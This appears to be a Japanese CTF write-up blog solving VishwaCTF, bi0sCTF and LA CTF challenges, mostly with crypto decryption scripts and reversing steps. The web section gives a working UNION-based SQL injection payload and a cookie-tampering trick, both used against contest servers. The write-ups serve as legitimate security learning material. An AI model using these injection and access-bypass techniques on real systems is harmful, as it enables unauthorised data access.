            localStorage.setItem("theme", "dark"),
            localStorage.setItem("language", "en_US"),
            localStorage.setItem("isLoggedIn", "true"),
            localStorage.setItem("unreadMessages", "5"),
            localStorage.setItem("preferredCurrency", "USD");
            return localStorage.setItem("DivID", "205"),
            localStorage.setItem("Flag", "Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA"),
            localStorage.setItem("AppVer", "1.0"),
            (0,
            vt.jsx)(vt.Fragment, {
                children: (0,
                vt.jsxs)("div", {
                    className: "hint-main",
                    children: [(0,
                    vt.jsx)("h1", {
                        className: "hint",
                        children: "A Courrpt AI Agent and Its Army of 128 Aesthetic Looking Robots Are Heading Towards Local Vault of the City of Dawn!"
                    }), (0,
                    vt.jsx)("p", {
                        className: "hint1",
                        style: {
                            display: "none"
                        },
                        children: "I have done 128 cbc tests"
                    })]
                })
            })
        }

この情報から以下のことが推測できる。

・フラグを暗号化し、base64エンコードしたものが、"Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA"
・暗号化はAES CBC モード128ビット
・暗号鍵は"th1s_1s_n0t_t5e_f1a9"を元にしたもの

いろいろ試したところ、以下で復号できた。

・暗号鍵:"th1s_1s_n0t_t5e_f1a9"の先頭16バイト
・IV:"\x00" * 16
#!/usr/bin/env python3
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

enc_flag = b'Gkul0oJKhNZ1E8nxwnMY8Ljn1KNEW9G9l+w243EQt0M4si+fhPQdxoaKkHVTGjmA'
enc_flag = b64decode(enc_flag)

key = b'th1s_1s_n0t_t5e_f1a9'[:16]
iv = b'\x00' * 16

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(enc_flag), 16).decode()
print(flag)
VishwaCTF{g0_Su88m1t_1t_Qu14kl7}

Happy Valentine's Day (Cryptography, Easy)

pngファイルの先頭8バイトをkeyをしてXORしている。keyはわかっているので、それを使って画像を復号する。

#!/usr/bin/env python3
from itertools import cycle

def xor(a, b):
    return [i ^ j for i, j in zip(a, cycle(b))]

key = list(b'\x89PNG\x0d\x0a\x1a\x0a')

with open('enc.txt', 'rb') as f:
    enc = f.read()

dec = bytearray(xor(enc, key))

with open('flag.png', 'wb') as f:
    f.write(dec)


復号した画像にフラグが書いてあった。

VishwaCTF{h3ad3r5_f0r_w1nn3r5}

Poly Fun (Cryptography, Medium)

transform関数の中を整理する。

・最初の分岐では、1~100000のnumberについてどの値も13になる。
・次の分岐では、1~6のnum1, 1~6のnum2についてどの値も以下の条件を満たす。
 int(number / 10) == num1 and number % 10 == num2
・次の分岐では、generate_random_number()で生成したnumberについてどの値も1089になる。
・次の分岐では場合によりどちらかの処理を行う。
 ただiが8以上の場合はnumの値は小数になるので、iが7以下の場合の処理を行っていると推測する。

以上のことからtransform関数では数値は変わらないことになる。polyの2次関数のみで数値が変わるので、8ビットの文字に対する総当たりで辞書を作成し、元の鍵を求める。AES暗号と推測して、encoded_flag.txtの内容をbase64エンコードしたものをこの鍵で復号する。

#!/usr/bin/env python3
import numpy as np
from base64 import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

for num in range(1, 100000):
    org = num
    tmp_n = num
    tmp_n *= 2
    tmp_n += 15
    tmp_n *= 3
    tmp_n += 33
    tmp_n /= 6
    tmp_n -= org
    assert tmp_n == 13

for num1 in range(1, 7):
    for num2 in range(1, 7):
        tmp_n = num1 * 2
        tmp_n += 5
        tmp_n *= 5
        tmp_n += num2
        tmp_n -= 25
        assert int(tmp_n / 10) == num1 and tmp_n % 10 == num2

nums = []
for num in range(100, 1000):
    first_digit = num // 100
    last_digit = num % 10
    if abs(first_digit - last_digit) > 1:
        nums.append(num)

for num in nums:
    num1 = int(''.join(sorted(str(num), reverse=True)))
    num2 = int(''.join(sorted(str(num))))
    diff = abs(num1 - num2)
    rev_diff = int(str(diff)[::-1])
    tmp_n = diff + rev_diff
    assert tmp_n == 1089

nums = []
for num in range(1000, 10000):
    if num % 1111 != 0:
        nums.append(num)

for num in nums:
    i = 0
    tmp_n = num
    while tmp_n != 6174:
        digits = [int(d) for d in str(tmp_n)]
        digits.sort()
        smallest = int(''.join(map(str, digits)))
        digits.reverse()
        largest = int(''.join(map(str, digits)))
        tmp_n = largest - smallest
        i += 1
        if i == 8:
            break

for num in range(256):
    org = num
    tmp_n = num
    tmp_n *= 2
    tmp_n += 7
    tmp_n += 5
    tmp_n -= 12
    tmp_n -= org
    tmp_n += 4
    tmp_n *= 2
    tmp_n -= 8
    tmp_n -= org
    assert tmp_n == num

polyc = [4, 3, 7]
poly = np.poly1d(polyc)

dic = {}
for num in range(256):
    dic[int(poly(num))] = num

with open('encoded_key.txt', 'r', encoding='utf_8') as f:
    enc_key = f.read()

key = ''
for ck in enc_key:
    key += chr(dic[ord(ck)])
print('[+] key:', key)

with open('encoded_flag.txt', 'r') as f:
    enc_flag = f.read()

enc_flag = b64decode(enc_flag)

cipher = AES.new(key.encode(), AES.MODE_ECB)
flag = unpad(cipher.decrypt(enc_flag), 16).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: 12345678910111213141516171819202
[*] flag: VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}
VishwaCTF{s33_1_t0ld_y0u_1t_w45_345y}

Lets smother the King! (Cryptography, Medium)

Malbolgeというesolangと推測し、https://malbolge.doleczek.pl/で実行すると、以下のデータが出力される。

White- Ke1,Qe5,Rc1,Rh1,Ne6,a2,b3,d2,f2,h2 Black- Ka8,Qh3,Rg8,Rh8,Bg7,a7,b7,e4,g2,g6,h7

https://chess-bot.com/online_calculator/next_best_move.htmlで上記を配置する。配置データは以下の通り。

k5rr/pp4bp/4N1pq/4Q3/4p3/1P6/P2P1PpP/2R1K2R w KQ

Calculate positionで動きを確認する。その際チェックは"+"、駒取りは"x"、チェックメイトは"#"の記号を入れるようにする。

1.[White] Nc7+
2.[Black] Kb8
3.[White] Na6+
4.[Black] Ka8
5.[White] Qb8+
6.[Black] Rxb8
7.[White] Nc7#
VishwaCTF{Nc7+_Kb8_Na6+_Ka8_Qb8+_Rxb8_Nc7#}

Teyvat Tales (Cryptography, Medium)

script.jsを見れば、4つの入力に何を入力すればよいかわかる。

1: enigma m3
2: ukw c
3: rotor1 i p m rotor2 iv a o rotor3 vi i n
4: vi sh wa ct fx

現れる文字列は以下の通り。

CYNIPJ_RE_LSKR-YAZN_MBSJ

Enigma machineの復号の問題で、4はプラグボードのパラメータになっている。https://cryptii.com/pipes/enigma-machineで復号する。

復号結果は以下の通り。

beware_of_tone-deaf_bard
VishwaCTF{beware_of_tone-deaf_bard}

Intellectual Heir (Cryptography, Hard)

Pythonコードが入っているが、コードの処理は正確ではないので、推測する必要がある。
まずmsgを算出する必要がありそう。関係するコードは以下のようになっている。

f = (? * ?) #cant remember what goes in the question mark
e = #what is usually used

encrypted = pow(msg, e, f)

fの値はわからない。eはおそらく65537と推測できる。encryptedの値がfile.txtに出力されていると思われる。
またfに値に結びつきそうなコードは以下のようになっている。

#bamm!! protection for primes
number = 
bin = bin(number)[2:]

#bamm!! bamm!! double protection for primes
bin_arr = np.array(list(bin), dtype=int)
result = np.sin(bin_arr)
result = np.cos(bin_arr)
np.savetxt("file1", result)
np.savetxt("file2", result)

numberは不明だが、binは2進数文字列になっている。それのsin、cosの配列があり、file1.txtとfile2.txtに出力されている。
file1.txtの冒頭の値を確認してみる。

5.403023058681397650e-01
1.000000000000000000e+00
5.403023058681397650e-01
1.000000000000000000e+00
5.403023058681397650e-01
1.000000000000000000e+00
1.000000000000000000e+00
5.403023058681397650e-01

file2.txtの冒頭の値を確認してみる。

8.414709848078965049e-01
0.000000000000000000e+00
0.000000000000000000e+00
0.000000000000000000e+00
0.000000000000000000e+00
8.414709848078965049e-01
0.000000000000000000e+00
0.000000000000000000e+00
>>> import numpy as np
>>> bin = '101101'
>>> bin_arr = np.array(list(bin), dtype=int)
>>> bin_arr
array([1, 0, 1, 1, 0, 1])
>>> result = np.sin(bin_arr)
>>> result
array([0.84147098, 0.        , 0.84147098, 0.84147098, 0.        ,
       0.84147098])
>>> result = np.cos(bin_arr)
>>> result
array([0.54030231, 1.        , 0.54030231, 0.54030231, 1.        ,
       0.54030231])

この結果からfile1とfile2は逆になっているが、対応付けはできる。
file1.txtについては、以下のように対応づけられる。

・5.403023058681397650e-01 → "1"
・1.000000000000000000e+00 → "0"

file2.txtについては、以下のように対応づけられる。

・8.414709848078965049e-01 → "1"
・0.000000000000000000e+00 → "0"

あとはそれを2進数として整数にすればp, qになると推測して、RSA暗号としてmsgを復号する。msgは入力文字列のASCIIコードを文字列として結合したものなので、32以上126以下になるよう区切ってデコードする。
あとはフラグの形式にすればフラグになる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('file1.txt', 'r') as f:
    lines1 = f.read().splitlines()

with open('file2.txt', 'r') as f:
    lines2 = f.read().splitlines()

p = ''
for line in lines1:
    if line == '5.403023058681397650e-01':
        p += '1'
    else:
        p += '0'

q = ''
for line in lines2:
    if line == '8.414709848078965049e-01':
        q += '1'
    else:
        q += '0'

p = int(p, 2)
q = int(q, 2)

with open('file.txt', 'r') as f:
    c = int(f.read())

e = 65537
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
msg = pow(c, d, p * q)

result = str(msg)

input_string = ''
code = ''
for i in range(len(result)):
    code += result[i]
    if int(code) >= 32 and int(code) < 127:
        input_string += chr(int(code))
        code = ''

flag = 'VishwaCTF{%s}' % input_string
print(flag)
VishwaCTF{Y0U_@R3_T#3_W0RT#Y_OF_3}

BitBane - Cryptic Chaos (Cryptography, Hard)

暗号化処理の概要は以下の通り。

・data: フラグ
・encryption: int型の空配列
・key = "VishwaCTF"
・encode(encryption, data, key)
 ・dataの長さだけ以下繰り返し
  ・curr: dataのi番目の文字のASCIIコード
  ・idx = (i % 8) + 2
  ・num = create(curr, idx)
   ・not_remainder = 0
   ・topping = createTopping(curr, idx, not_remainder)
    ・temp = 0
    ・num = 1
    ・num = num << 1 = 2
    ・currが0以外の間以下繰り返し
     ・remainder = curr % idx
     ・remainderが0以外の場合
      ・temp = temp * 10 + remainder
      ・curr = curr - remainder
     ・remainderが0の場合
      ・num = num | 1
      ・curr = curr / idx
    ・temp = temp << 1
    ・temp = temp | 1
    ・not_remainder = temp
   ・base = createBase(not_remainder)
    ・num = 0
    ・30回以下繰り返し
     ・not_remainderが0以外の間以下繰り返し
      ・num = num | (not_remainder & 1)
      ・not_remainder = not_remainder >> 1
     ・num = num << 1
    ・numを返却
  ・encryption.push_back(num)
・applyKey(encryption, key)
 ・n: keyの長さ
 ・nだけ以下繰り返し(i)
  ・curr = keyのi番目の文字のASCIIコード
  ・cnt = 0
  ・cpy = curr
  ・cpyが0以外の間以下繰り返し
   ・cpyの最下位ビットが立っている場合
    ・cntをプラス1
   ・cpy = cpy >> 1
  ・curr = curr << (i + 10)
  ・cntが0以外の間以下繰り返し
   ・cntをマイナス1
   ・curr = curr << 1
   ・curr = curr ^ 1
  ・k: encryptionの長さ
  ・kだけ以下繰り返し(j)
   ・encryption[j] = encryption[j] ^ curr
・extraSecurity(encryption)
 ・n: encryptionの長さ
 ・nだけ以下繰り返し(i)
  ・idx = i + 2
  ・res = checkValidity(idx)
   ・iが2以上i*iがnum未満の間
    ・num % iが0の場合
     ・falseを返却
   ・trueを返却
  ・resがtrueの場合
   ・encryption[i] = ~encryption[i]
・writeToFile(encryption)
 ・encryptionの各値をスペース区切りでEncrypted.txtに出力

1バイトずつ処理をしているので、ブルートフォースで復号する。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

#define LEN 55

int createTopping(int curr, int idx, int *not_remainder)
{
    int temp = 0;
    int num = 1;
    num = num << 1;
    while (curr)
    {
        int remainder = curr % idx;
        if (remainder)
        {
            temp = temp * 10 + remainder;
            curr = curr - remainder;
        }
        else
        {
            num = num | 1;
            curr = curr / idx;
        }
        num = num << 1;
    }
    temp = temp << 1;
    temp = temp | 1;
    *not_remainder = temp;
    return num | 1;
}

int createBase(int not_remainder)
{
    int num = 0;
    for (int i = 0; i < 30; ++i)
    {
        if (not_remainder)
        {
            num = num | (not_remainder & 1);
            not_remainder = not_remainder >> 1;
        }
        num = num << 1;
    }
    return num;
}

int create(int curr, int idx)
{
    int not_remainder = 0;
    int topping = createTopping(curr, idx, &not_remainder);
    int base = createBase(not_remainder);
    int num = base | topping;
    return num;
}

bool checkValidity(int num)
{
    for (int i = 2; i * i < num; ++i)
    {
        if (num % i == 0)
            return false;
    }
    return true;
}

int extraSecurity(int curr, int index)
{
    int idx = index + 2;
    if (checkValidity(idx))
    {
        curr = ~curr;
    }
    return curr;
}

int encode(int curr, int index)
{
    int idx = (index % 8) + 2;
    int num = create(curr, idx);
    return num;
}

int makeXorKey(char *key) {
    int xor_key = 0;
    int n = strlen(key);
    for (int i = 0; i < n; ++i) {
        int curr = key[i];
        int cnt = 0;
        int cpy = curr;
        while (cpy) {
            if (cpy & 1)
                ++cnt;
            cpy = cpy >> 1;
        }
        curr = curr << (i + 10);
        while (cnt--) {
            curr = curr << 1;
            curr = curr ^ 1;
        }
        xor_key = xor_key ^ curr;
    }
    return xor_key;
}

void main()
{
    FILE *fp;
    int c;
    int ii = 0, jj = 0;
    char buf[16];
    int encryption[LEN];

    fp = fopen("Encrypted.txt", "r");
    while (true) {
        c = fgetc(fp);
        if (c == EOF) {
            break;
        } else if (c == 32) {
           buf[ii] = 0;
           encryption[jj] = atoi(buf);
           ii = 0;
           jj++;
        } else {
           buf[ii] = c;
           ii++;
        }
    }

    char key[10] = "VishwaCTF\0";
    int newkey = makeXorKey(key);

    int num;
    char flag[56] = {0};
    for (int i = 0; i < LEN; i++) {
        for (int code = 32; code < 127; code++) {
            num = encode(code, i);
            num = num ^ newkey;
            num = extraSecurity(num, i);
            if (num == encryption[i]) {
                flag[i] = code;
                break;
            }
        }
    }
    printf("%s\n", flag);
}
VishwaCTF{BIT5_3NCRYPT3D_D3CRYPTED_M1ND5_D33PLY_TE5T3D}

Feedback (Miscellaneous, Beginner)

アンケートに答えたら、フラグが表示された。

VishwaCTF{th4nk_y0u_f0r_p4rt1c1pat1ng_in_VishwaCTF'24}

bi0sCTF 2024 Writeup

この大会は2024/2/24 21:00(JST)~2024/2/26 9:00(JST)に開催されました。
今回もチームで参戦。結果は201点で294チーム中113位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、各チャネルを見るが、フラグは見当たらない。
#announcementsチャネルのCTF開始のメッセージあたりがあやしい。以下のように書いてあるが、文字が隠されているのかもしれない。

"Welcome" to the game https://ctf.bi0s.in/

Sakuraエディタにコピーする。

"Welcome" to the game https://bi0sctf%7Bh1dd3n_1n_pl41n_s1ght%7D:hehe@ctf.bi0s.in/

フラグが含まれていた。

bi0sctf{h1dd3n_1n_pl41n_s1ght}

lalala (Cryptography)

unknowsまで割り出すことができれば、下3桁がフラグの{}の中の各文字のASCIIコードになるので、フラグを割り出せる。
unknowsを割り出す方法を考える必要がある。
100種類の以下の値がわかっている。

aa(0~2**1024のリスト), bb(0~9のリスト), cc(0~9のリスト), 
sum([a + unknowns[b]^2 * unknowns[c]^3 for a, b, c in zip(aa, bb, cc)]) % p

aaの合計値は分かっているので、以下のような値の合計値がわかっていることになる。

x00 * unknowns[0]^2 * unknowns[0]^3 + x01 * unknowns[0]^2 * unknowns[1]^3 + ... + x99 * unknowns[9]^2 * unknowns[9]^3

x00~x99の値がわかるので、100元方程式として各(unknowns[b]^2 * unknowns[c]^3) % pの値を算出できる。各iについて、以下の式が導ける

pow(unknowns[i], 5, p) = Ci

unknowns[i]の5乗がpに届かないと推測し、5乗根を求めることによってunknowns[i]を算出する。

#!/usr/bin/env sage
with open('out.py', 'r') as f:
    params = f.read().splitlines()

p = int(params[0].split(' = ')[1])
output = eval(params[1].split(' = ')[1])

rows = []
C = []
for i in range(0, len(output), 4):
    aa = output[i]
    bb = output[i + 1]
    cc = output[i + 2]
    S = output[i + 3]
    C.append([(S - sum(aa)) % p])
    row = [0] * 100
    for j in range(1000):
        index = bb[j] * 10 + cc[j]
        row[index] += 1
    rows.append(row)

M = matrix(Zmod(p), rows)
C = matrix(Zmod(p), C)
X = M.inverse() * C

e = 5
flag = ''
for i in range(10):
    c = int(X[i * 11][0])
    m = c ^ (1 / e)
    assert m ^ e == c
    flag += chr(m % 1000)

flag = 'bi0sctf{%s}' % flag
print(flag)
bi0sctf{8d522ae1a7}

Feedback (Misc)

アンケートに答えたら、フラグが表示された。

bi0sctf{th4nk5_f0r_pl4y1ng_bi0sctf2024}

LA CTF 2024 Writeup

この大会は2024/2/17 13:00(JST)~2024/2/19 7:00(JST)に開催されました。
今回もチームで参戦。結果は5359点で1074チーム中110位でした。
自分で解けた問題をWriteupとして書いておきます。

rules (welcome)

HomeのページのScoringの説明の中にフラグが書いてあった。

lactf{i_read_the_rules}

discord (welcome)

Discordに入り、#generalチャネルのピン止めされたメッセージを見ると、フラグが書いてあった。

lactf{i'm_in_the_discord_server!}

infinite loop (misc)

HTMLソースを見ると、以下の部分が見つかる。

[1736602043,"Flag part 1: lactf{l34k1ng_4h3",null,6,null,null,null,null,null,null,null,[null,"Flag part 1: lactf{l34k1ng_4h3"]]],["Flag part 2: _f04mz_s3cr3tz}",1,0,0,0]
lactf{l34k1ng_4h3_f04mz_s3cr3tz}

mixed signals (misc)

Go Transcribeで文字に起こすと、以下のようになった。

Lima. Alpha. Charlie. Tango. Foxtrot. Open. Brace. Charlie. 
4th November. Underscore. Yankee. Zero. Uniform. 
Underscore. Papa. Lima. Zulu. Underscore. Uniform. 
November. Mike one. X-ray. Underscore. Mike. Yankee. 
Underscore. Sierra one. Golf. November 4th. Lima. Zulu. End. Brace. 

Braceは"{"や"}"、Underscoreはそのまま"_"にして、その他は頭文字を取ったり、数字に置き換えたりする。

lactf{c4n_y0u_plz_unm1x_my_s1gn4lz}

one by one (misc)

HTMLソースのJSON部分を整形してみてみる。

            [
                1904478792,
                "0 - Select a letter, any letter:",
                null,
                3,
                [
                    [
                        561191505,
                        [
                            [
                                "0",
                                null,
                                556692759
                            ],
                            [
                                "1",
                                null,
                                556692759
                            ],
                        :
                        :
                            [
                                "k",
                                null,
                                556692759
                            ],
                            [
                                "l",
                                null,
                                1540876785
                            ],
                            [
                                "m",
                                null,
                                556692759
                        :
                        :

"l"だけ値が異なる。次も見てみる。

            [
                810769981,
                "1 - Select a letter, any letter:",
                null,
                3,
                [
                    [
                        670140814,
                        [
                            [
                                "0",
                                null,
                                1950887260
                            ],
                        :
                        :
                            [
                                "9",
                                null,
                                1950887260
                            ],
                            [
                                "a",
                                null,
                                1973202083
                            ],
                            [
                                "b",
                                null,
                                1950887260
                            ],
                        :
                        :

"a"だけ値が異なる。異なる値の文字を連結すればフラグになりそう。各インデックスで値が異なるので、ここまでと同様に一つ一つ見ていき、異なる値の文字を書き出していく。

lactf{1_by_0n3_by3_un0_*,"g1'}

shattered-memories (rev)

$ strings shattered-memories | grep -A 5 -B 5 lactf
What was the flag again?
No, I definitely remember it being a different length...
t_what_f
t_means}
nd_forge
lactf{no
orgive_a
No, that definitely isn't it.
I'm pretty sure that isn't it.
I don't think that's it...
I think it's something like that but not quite...

文がつながるように結合する。

lactf{not_what_forgive_and_forget_means}

aplet321 (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  char *pcVar3;
  int iVar4;
  int iVar5;
  char local_238;
  char acStack_237 [519];
  
  setbuf(stdout,(char *)0x0);
  puts("hi, i\'m aplet321. how can i help?");
  fgets(&local_238,0x200,stdin);
  sVar2 = strlen(&local_238);
  if (5 < sVar2) {
    iVar4 = 0;
    iVar5 = 0;
    pcVar3 = &local_238;
    do {
      iVar1 = strncmp(pcVar3,"pretty",6);
      iVar5 = iVar5 + (uint)(iVar1 == 0);
      iVar1 = strncmp(pcVar3,"please",6);
      iVar4 = iVar4 + (uint)(iVar1 == 0);
      pcVar3 = pcVar3 + 1;
    } while (pcVar3 != acStack_237 + ((int)sVar2 - 6));
    if (iVar4 != 0) {
      pcVar3 = strstr(&local_238,"flag");
      if (pcVar3 == (char *)0x0) {
        puts("sorry, i didn\'t understand what you mean");
        return 0;
      }
      if ((iVar5 + iVar4 == 0x36) && (iVar5 - iVar4 == -0x18)) {
        puts("ok here\'s your flag");
        system("cat flag.txt");
        return 0;
      }
      puts("sorry, i\'m not allowed to do that");
      return 0;
    }
  }
  puts("so rude");
  return 0;
}

以下の条件を満たす必要がある。

iVar5 + iVar4 == 0x36
iVar5 - iVar4 == -0x18

連立方程式になっているので、解いてみる。

iVar5 * 2 = 30 → iVar5 = 15 → iVar4 = 39

入力文字列に"pretty"が15個、"please"が39個と"flag"が含まれていればよい。

>>> "pretty" * 15 + "please" * 39
'prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseplease'
$ nc chall.lac.tf 31321
hi, i'm aplet321. how can i help?
prettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettyprettypleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleasepleaseflag
ok here's your flag
lactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}
lactf{next_year_i'll_make_aplet456_hqp3c1a7bip5bmnc}

flaglang (web)

app.jsを確認すると、/switchでは以下のようになっていることがわかる。

app.get('/switch', (req, res) => {
  if (!req.query.to) {
    res.status(400).send('please give something to switch to');
    return;
  }
  if (!countries.has(req.query.to)) {
    res.status(400).send('please give a valid country');
    return;
  }
  const country = countryData[req.query.to];
  if (country.password) {
    if (req.cookies.password === country.password) {
      res.cookie('iso', country.iso, { signed: true });
    }
    else {
      res.status(400).send(`error: not authenticated for ${req.query.to}`);
      return;
    }
  }
  else {
    res.cookie('iso', country.iso, { signed: true });
  }
  res.status(302).redirect('/');
});

クエリーパラメータ"to"で国名を指定し、countries.yamlで該当する国でパスワードを持っている場合、クエリーパラメータ"password"も一致している必要がある。
countries.yamlを見ると、フラグに関係する部分が国として以下の設定がされている。

Flagistan:
  iso: FL
  msg: "<REDACTED>"
  password: "<REDACTED>"
  deny: 
    ["AF","AX","AL","DZ","AS","AD","AO","AI","AQ","AG","AR","AM","AW","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CG","CD","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","HM","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KR","KP","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PN","PL","PT","PR","QA","RE","RO","RU","RW","BL","SH","KN","LC","MF","PM","VC","WS","SM","ST","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW"]

もちろんmsgもpasswordもわからない。
app.jsを確認すると、他に/viewがあり、以下のようになっていることがわかる。

app.get('/view', (req, res) => {
  if (!req.query.country) {
    res.status(400).json({ err: 'please give a country' });
    return;
  }
  if (!countries.has(req.query.country)) {
    res.status(400).json({ err: 'please give a valid country' });
    return;
  }
  const country = countryData[req.query.country];
  const userISO = req.signedCookies.iso;
  if (country.deny.includes(userISO)) {
    res.status(400).json({ err: `${req.query.country} has an embargo on your country` });
    return;
  }
  res.status(200).json({ msg: country.msg, iso: country.iso });
});

クエリーパラメータ"country"を指定して該当する。特にパスワードやシグネチャの比較はしていないので、ここでFlagistanのmsgを取得できそう。
https://flaglang.chall.lac.tf/で、「You are from」にJapanを指定すると、クッキー"iso"に以下が設定されていた。

s%3AJP.wQN7%2F%2B4NXf1pZjstKNN7%2B3c97EqMdizyrZVxoiG2kFQ

s%3Aの後ろに国コード(iso)が付いている。
https://flaglang.chall.lac.tf/view?country=Japanにアクセスすると、以下のレスポンスがあった。

{"msg":"こんにちは、世界","iso":"JP"}

https://flaglang.chall.lac.tf/view?country=Flagistanにアクセスすると、以下のレスポンスがあった。

{"err":"Flagistan has an embargo on your country"}

試しにクッキー"iso"の国コード部分の"JP"を"FL"に修正して、再度アクセスしてみると、メッセージにフラグがあった。

{"msg":"lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}","iso":"FL"}
lactf{n0rw3g7an_y4m7_f4ns_7n_sh4mbl3s}

la housing portal (web)

SQLインジェクションの問題。検索条件にnameは指定できるが、SQLにこのnameは含まれない。また、keyやvalueに"--"や"/*"を含めることはできない。コメントを使わずにSQLインジェクションすることを考える。
BurpSuiteでInterceptしながら、POSTするパラメータを変更して、検索する。試しにawakeに以下を指定してみる。

' union select 0,1,2,3,4,5 '

URLデコードすると、以下のようになるので、これを指定する。

'%20union%20select%200%2C1%2C2%2C3%2C4%2C5%20'


これでForwardすると、以下のように表示された。

SQLインジェクションできた。flagテーブルのflagカラムにフラグが設定されているので、それを取得するようにする。
awakeに以下を指定する。

' union select 0,1,2,3,4,flag from flag '

URLデコードすると、以下のようになるので、これを指定する。

'%20union%20select%200%2C1%2C2%2C3%2C4%2Cflag%20from%20flag%20'


これでForwardすると、以下のように表示され、フラグを取得できた。

lactf{us3_s4n1t1z3d_1npu7!!!}

very-hot (crypto)

RSA暗号でnの素因数のp, q, rは以下を満たすことがわかっている。

q = p + 6
r = p + 12

nはpの3次方程式になるので、pを算出でき、q, rも算出できる。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import sympy

with open('out.txt', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' ')[1])
e = int(params[1].split(' ')[1])
ct = int(params[2].split(' ')[1])

p = sympy.Symbol('p')
eq = p * (p + 6) * (p + 12) - n
ps = sympy.solve(eq)
for p in ps:
    if p.is_Integer:
        p = int(p)
        break

q = p + 6
r = p + 12
assert p * q * r == n

phi = (p - 1) * (q - 1) * (r - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m).decode()
print(flag)
lactf{th4t_w45_n0t_so_53xY}

valentines-day (crypto)

Vigenere暗号だが、鍵の長さが161バイトもある。intro.txtにはスペース含めて先頭133バイトの平文がある。まずわかっている範囲で鍵を求める。

NEVERGONNAGIVEYOUUPNEVERGONNALETYOUDOWNNEVERGONNARUNAROUNDANDDESERTYOUNEVERGONNAMAKEYOUCRYNEVERGONNASAYGOO

英文になっているようなのでスペースを入れてわかりやすく整形する。

NEVER GONNA GIVE YOU UP
NEVER GONNA LET YOU DOWN
NEVER GONNA RUN AROUND AND DESERT YOU
NEVER GONNA MAKE YOU CRY
NEVER GONNA SAY GOO

Never gonna give you upの歌詞になっているようなので、その続きを161バイトが判明するまで書き下す。

NEVER GONNA GIVE YOU UP
NEVER GONNA LET YOU DOWN
NEVER GONNA RUN AROUND AND DESERT YOU
NEVER GONNA MAKE YOU CRY
NEVER GONNA SAY GOODBYE             ※ここまで110バイト
NEVER GONNA TELL A LIE AND HURT YOU ※ここまで138バイト
WEVE KNOWN EACH OTHER FOR SO LONG   ※ここまで165バイト

鍵がわかったらそれを元に復号する。

#!/usr/bin/env python3
from string import *

with open('intro.txt', 'r') as f:
    intro = f.read()

with open('ct.txt', 'r') as f:
    ct = f.read()

key = ''
for i in range(len(intro)):
    if ct[i] in ascii_uppercase:
        index = ascii_uppercase.index(ct[i]) - ascii_uppercase.index(intro[i])
        key += ascii_uppercase[index]
    elif ct[i] in ascii_lowercase:
        index = ascii_lowercase.index(ct[i]) - ascii_lowercase.index(intro[i])
        key += ascii_uppercase[index]

key += 'DBYE'
key += 'NEVERGONNATELLALIEANDHURTYOU'
key += 'WEVEKNOWNEACHOTHERFORSO'

pt = ''
i_key = 0
for i in range(len(ct)):
    if ct[i] in ascii_uppercase:
        index = ascii_uppercase.index(ct[i]) - ascii_uppercase.index(key[i_key % len(key)])
        pt += ascii_uppercase[index]
        i_key += 1
    elif ct[i] in ascii_lowercase:
        index = ascii_lowercase.index(ct[i]) - ascii_uppercase.index(key[i_key % len(key)])
        pt += ascii_lowercase[index]
        i_key += 1
    else:
        pt += ct[i]
print(pt)

復号結果は以下の通りで、文中にフラグが書いてあった。

On this Valentine's day, I wanted to show my love for professor Paul Eggert. This challenge is dedicated to him. Enjoy the challenge!

